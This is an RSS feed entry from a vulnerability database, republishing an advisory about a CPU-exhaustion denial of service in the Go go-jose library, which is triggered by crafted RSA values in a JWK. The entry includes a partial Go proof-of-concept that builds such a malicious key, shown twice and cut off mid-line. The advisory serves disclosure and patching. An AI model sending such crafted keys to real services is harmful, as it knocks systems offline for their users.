<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Mon, 09 Nov 2026 03:36:00 +0000</lastBuildDate>
    <item>
      <title>GHSA-mgcc-cww5-fp2q — Go JOSE: DoS when parsing JWKs that contain RSA keys</title>
      <link>https://db.gcve.eu/vuln/ghsa-mgcc-cww5-fp2q</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/go-jose/go-jose/v4, Go: github.com/go-jose/go-jose/v3&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to `crypto/rsa.PrivateKey.Validate()`. On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.&lt;/p&gt;
&lt;p&gt;https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700&lt;/p&gt;
&lt;p&gt;### Proof of concept&lt;/p&gt;
&lt;p&gt;No special configuration of go-jose is required to reproduce this vulnerability.&lt;/p&gt;
&lt;p&gt;```go
package main&lt;/p&gt;
&lt;p&gt;import (
	&amp;#34;encoding/base64&amp;#34;
	&amp;#34;encoding/json&amp;#34;
	&amp;#34;fmt&amp;#34;
	&amp;#34;math/big&amp;#34;
	&amp;#34;time&amp;#34;&lt;/p&gt;
&lt;p&gt;&amp;#34;github.com/go-jose/go-jose/v4&amp;#34;
)&lt;/p&gt;
&lt;p&gt;func main() {
	// The RSA parameters can be complete junk. The CPU cost is in validating them.
	primeBits := 16384
	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
	p.SetBit(p, 0, 1)
	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	e := big.NewInt(65537)
	d := big.NewInt(3)
	q := big.NewInt(3)&lt;/p&gt;
&lt;p&gt;jwk := map[string]string{
		&amp;#34;kty&amp;#34;: &amp;#34;RSA&amp;#34;,
		&amp;#34;n&amp;#34;:   base64.RawURLEncoding.EncodeToString(n.Bytes()),
		&amp;#34;e&amp;#34;:   base64.RawURLEncoding.EncodeToString(e.Bytes()),
		&amp;#34;d&amp;#34;:   base64.RawURLEncoding.EncodeToString(d.Bytes()),
		&amp;#34;p&amp;#34;:   base64.RawURLEncoding.EncodeToString(p.Bytes()),
		&amp;#34;q&amp;#34;:   base64.RawURLEncoding.EncodeToString(q.Bytes()),
	}&lt;/p&gt;
&lt;p&gt;protected := map[string]any{
		&amp;#34;alg&amp;#34;: &amp;#34;RS256&amp;#34;,
		&amp;#34;jwk&amp;#34;: jwk,
	}
	protJSON, _ := json.Marshal(pro…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/go-jose/go-jose/v4, Go: github.com/go-jose/go-jose/v3&lt;/p&gt;
&lt;p&gt;### Summary&lt;/p&gt;
&lt;p&gt;A crafted RSA key inside a JWK can cause operations that parse JWKs to consume excess CPU.&lt;/p&gt;
&lt;p&gt;### Details&lt;/p&gt;
&lt;p&gt;go-jose does not check for bounds on RSA modulus and primes before validating them. Values are passed directly to `crypto/rsa.PrivateKey.Validate()`. On Go 1.24+, this takes cubic time complexity with respect to the RSA modulus and primes. This allows an attacker to supply a crafted JWK to consume excessive CPU.&lt;/p&gt;
&lt;p&gt;https://github.com/go-jose/go-jose/blob/5b371aecfcf7aabe06068d67da4344591ecddc76/jwk.go#L655-L700&lt;/p&gt;
&lt;p&gt;### Proof of concept&lt;/p&gt;
&lt;p&gt;No special configuration of go-jose is required to reproduce this vulnerability.&lt;/p&gt;
&lt;p&gt;```go
package main&lt;/p&gt;
&lt;p&gt;import (
	&amp;#34;encoding/base64&amp;#34;
	&amp;#34;encoding/json&amp;#34;
	&amp;#34;fmt&amp;#34;
	&amp;#34;math/big&amp;#34;
	&amp;#34;time&amp;#34;&lt;/p&gt;
&lt;p&gt;&amp;#34;github.com/go-jose/go-jose/v4&amp;#34;
)&lt;/p&gt;
&lt;p&gt;func main() {
	// The RSA parameters can be complete junk. The CPU cost is in validating them.
	primeBits := 16384
	p := new(big.Int).Lsh(big.NewInt(1), uint(primeBits-1))
	p.SetBit(p, 0, 1)
	n := new(big.Int).Lsh(big.NewInt(1), 2048)
	e := big.NewInt(65537)
	d := big.NewInt(3)
	q := big.NewInt(3)&lt;/p&gt;
&lt;p&gt;jwk := map[string]string{
		&amp;#34;kty&amp;#34;: &amp;#34;RSA&amp;#34;,
		&amp;#34;n&amp;#34;:   base64.RawURLEncoding.EncodeToString(n.Bytes()),
		&amp;#34;e&amp;#34;:   base64.RawURLEncoding.EncodeToString(e.Bytes()),
		&amp;#34;d&amp;#34;:   base64.RawURLEncoding.EncodeToString(d.Bytes()),
		&amp;#34;p&amp;#34;:   base64.RawURLEncoding.EncodeToString(p.Bytes()),
		&amp;#34;q&amp;#34;:   base64.RawURLEncoding.EncodeToString(q.Bytes()),
	}&lt;/p&gt;
&lt;p&gt;protected := map[string]any{
		&amp;#34;alg&amp;#34;: &amp;#34;RS256&amp;#34;,
		&amp;#34;jwk&amp;#34;: jwk,
	}
	protJSON, _ := json.Marshal(pro…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-mgcc-cww5-fp2q</guid>
    </item>
  </channel>
</rss>
